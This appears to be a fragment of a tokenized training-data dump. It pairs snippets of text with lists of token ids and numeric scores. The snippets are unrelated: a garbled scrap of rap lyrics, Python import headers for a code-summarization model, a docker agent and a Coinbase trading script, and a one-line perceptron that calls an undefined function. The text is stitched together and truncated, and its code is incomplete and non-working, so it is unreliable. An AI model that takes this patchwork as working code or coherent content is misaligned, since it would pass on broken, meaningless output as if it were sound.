ecstasy in the back of me # Well that's my DJ Deshay cuttin' all them Z's # Hittin' hard and the girlies goin' crazy # Vanilla's on the mike, man I'm not lazy. # # <remainder of output omitted> #
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 198, 2, 12243, 20394, 12, 2539, 1395, 1581, 198, 2, 198, 2, 632, 318, 8720, 319, 11, 783, 13, 198, 2, 198,...
2.798392
1,493
import torch import torch.nn as nn import torch.nn.functional as f from prettytable import PrettyTable from c2nl.modules.char_embedding import CharEmbedding from c2nl.modules.embeddings import Embeddings from c2nl.modules.highway import Highway from c2nl.encoders.transformer import TransformerEncoder from c2nl.decoders.transformer import TransformerDecoder from c2nl.inputters import constants from c2nl.modules.global_attention import GlobalAttention from c2nl.modules.copy_generator import CopyGenerator, CopyGeneratorCriterion from c2nl.utils.misc import sequence_mask
[ 11748, 28034, 198, 11748, 28034, 13, 20471, 355, 299, 77, 198, 11748, 28034, 13, 20471, 13, 45124, 355, 277, 198, 198, 6738, 2495, 11487, 1330, 20090, 10962, 198, 6738, 269, 17, 21283, 13, 18170, 13, 10641, 62, 20521, 12083, 1330, 3178,...
3.426036
169
import logging from cattle import Config from cattle.utils import reply, popen from .compute import DockerCompute from cattle.agent.handler import BaseHandler from cattle.progress import Progress from cattle.type_manager import get_type, MARSHALLER from . import docker_client import subprocess import os import time log = logging.getLogger('docker')
[ 11748, 18931, 198, 198, 6738, 17025, 1330, 17056, 198, 6738, 17025, 13, 26791, 1330, 10971, 11, 1461, 268, 198, 6738, 764, 5589, 1133, 1330, 25716, 7293, 1133, 198, 6738, 17025, 13, 25781, 13, 30281, 1330, 7308, 25060, 198, 6738, 17025, ...
3.869565
92
import sys import pytz #import xml.utils.iso8601 import time import numpy from datetime import date, datetime, timedelta from matplotlib import pyplot as plt from exchange import cb_exchange as cb_exchange from exchange import CoinbaseExchangeAuth from abc import ABCMeta, abstractmethod
[ 11748, 25064, 198, 11748, 12972, 22877, 198, 2, 11748, 35555, 13, 26791, 13, 26786, 4521, 486, 198, 11748, 640, 198, 11748, 299, 32152, 198, 6738, 4818, 8079, 1330, 3128, 11, 4818, 8079, 11, 28805, 12514, 198, 6738, 2603, 29487, 8019, 1...
3.6
80
import numpy as np # Perceptron neural_network = neuron(neuron(inputs, weights1), weights2)
[ 11748, 299, 32152, 355, 45941, 198, 198, 2, 2448, 984, 1313, 198, 198, 710, 1523, 62, 27349, 796, 43164, 7, 710, 44372, 7, 15414, 82, 11, 19590, 16, 828, 19590, 17, 8, 198 ]
2.848485
33